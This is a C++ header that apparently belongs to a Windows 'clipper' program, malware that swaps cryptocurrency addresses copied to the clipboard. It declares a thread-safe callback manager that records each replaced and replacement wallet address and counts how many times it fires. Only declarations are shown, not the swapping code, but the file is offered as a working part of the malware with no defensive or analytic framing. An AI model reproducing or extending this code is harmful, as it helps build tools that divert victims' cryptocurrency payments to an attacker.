#pragma once
#include "Clipper.h"
#include <Windows.h>
#include <string>

struct CallbackInvocationData
{
    Cryptocurrency Currency;
    std::wstring ReplacedAddress;
    std::wstring ReplacementAddress;
};

class CallbackManager
{
public:
    CallbackManager();
    ~CallbackManager() noexcept = default;

    bool SetCallback(ClipperActivationCallback callback);
    ClipperActivationCallback GetCallback() const;
    bool HasCallback() const;
    void ClearCallback();

    void InvokeCallback(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement);
    void InvokeCallbackSafe(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement);

    bool ValidateCallback(ClipperActivationCallback callback) const;

    size_t GetInvocationCount() const;
    void ResetInvocationCount();

private:
    void LockForRead() const;
    void UnlockFromRead() const;
    void LockForWrite();
    void UnlockFromWrite();

    bool IsCallbackValid() const;
    void IncrementInvocationCount();

    CallbackInvocationData CreateInvocationData(Cryptocurrency currency, const wchar_t* replaced, const wchar_t* replacement) const;
    bool ValidateInvocationData(const CallbackInvocationData& data) const;

    ClipperActivationCallback mCallback;
    size_t mInvocationCount;
    mutable SRWLOCK mLock;
};